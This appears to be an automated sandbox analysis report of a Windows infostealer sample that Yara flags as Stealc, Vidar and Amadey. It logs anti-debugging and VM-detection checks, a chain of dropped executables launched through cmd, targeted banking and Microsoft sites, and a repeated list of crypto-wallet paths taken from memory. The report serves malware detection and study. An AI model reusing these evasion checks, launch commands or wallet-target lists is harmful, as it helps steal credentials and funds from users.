Source: C:\Users\user\Desktop\file.exe TID: 2404	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5104	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5088	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5360	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4220	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3744	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5096	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5628	Thread sleep count: 79 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5628	Thread sleep time: -2370000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5628	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\exploma.exe.exe TID: 6228	Thread sleep count: 49 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFCEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

1_2_6CFCEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000022.00000002.2534030054.000000000057B000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: CGIJJKEH.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: CGIJJKEH.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: CGIJJKEH.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: CGIJJKEH.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: CGIJJKEH.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: CGIJJKEH.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000001.00000002.1729321166.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1729321166.0000000001492000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.2541440931.0000000000DBA000.00000004.00000020.00020000.00000000.sdmp, 591832b8e5.exe, 00000024.00000002.2463587234.000001E8759FC000.00000004.00000020.00020000.00000000.sdmp, 591832b8e5.exe, 00000024.00000002.2463587234.000001E875A83000.00000004.00000020.00020000.00000000.sdmp, exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp, exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CGIJJKEH.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: CGIJJKEH.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: CGIJJKEH.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: CGIJJKEH.1.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: CGIJJKEH.1.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: CGIJJKEH.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: CGIJJKEH.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: CGIJJKEH.1.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: CGIJJKEH.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: DocumentsGDBFCGIIIJ.exe, 0000001D.00000003.1739000618.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: CGIJJKEH.1.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000001.00000002.1729321166.000000000144E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: CGIJJKEH.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: CGIJJKEH.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: CGIJJKEH.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000001.00000002.1728576785.0000000001161000.00000040.00000001.01000000.00000003.sdmp, DocumentsGDBFCGIIIJ.exe, 0000001D.00000002.1762069808.000000000051B000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001E.00000002.1793615811.000000000057B000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000022.00000002.2534030054.000000000057B000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000022.00000002.2541440931.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: CGIJJKEH.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: CGIJJKEH.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: CGIJJKEH.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: CGIJJKEH.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe

Code function: 29_2_04A60CA8 rdtsc

29_2_04A60CA8

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D08AD50 sqlite3_initialize,LdrInitializeThunk,sqlite3_initialize,sqlite3_initialize,sqlite3_initialize,sqlite3_config,

1_2_6D08AD50

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D09AC62 IsProcessorFeaturePresent,LdrInitializeThunk,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,LdrInitializeThunk,

1_2_6D09AC62

Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_0036652B mov eax, dword ptr fs:[00000030h]	29_2_0036652B
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_0036A302 mov eax, dword ptr fs:[00000030h]	29_2_0036A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003CA302 mov eax, dword ptr fs:[00000030h]	30_2_003CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003C652B mov eax, dword ptr fs:[00000030h]	30_2_003C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003CA302 mov eax, dword ptr fs:[00000030h]	34_2_003CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003C652B mov eax, dword ptr fs:[00000030h]	34_2_003C652B

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D09AC62 IsProcessorFeaturePresent,LdrInitializeThunk,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,LdrInitializeThunk,

1_2_6D09AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGDBFCGIIIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGDBFCGIIIJ.exe "C:\Users\user\DocumentsGDBFCGIIIJ.exe"
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe "C:\Users\user~1\AppData\Local\Temp\1005824001\591832b8e5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe "C:\Users\user~1\AppData\Local\Temp\1005893001\oi.exe"
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\exploma.exe.exe C:\Users\user\AppData\Local\exploma.exe.exe
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Uh Uh.cmd & Uh.cmd

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D0E4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6D0E4760

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFC1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

1_2_6CFC1C30

Source: oi.exe, 0000002C.00000003.2501912377.0000000002838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, file.exe, 00000001.00000002.1728576785.0000000001161000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: "Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D09AE71 cpuid

1_2_6D09AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6D09A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_6D09A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 34_2_003965E0 LookupAccountNameA,

34_2_003965E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 34_2_003D2517 GetTimeZoneInformation,

34_2_003D2517

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFE8390 NSS_GetVersion,

1_2_6CFE8390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 34.2.skotes.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.DocumentsGDBFCGIIIJ.exe.330000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.skotes.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.1761277158.0000000000331000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1792966737.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2523822709.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000003.1271943212.0000000005570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1729321166.000000000144E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1727423799.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
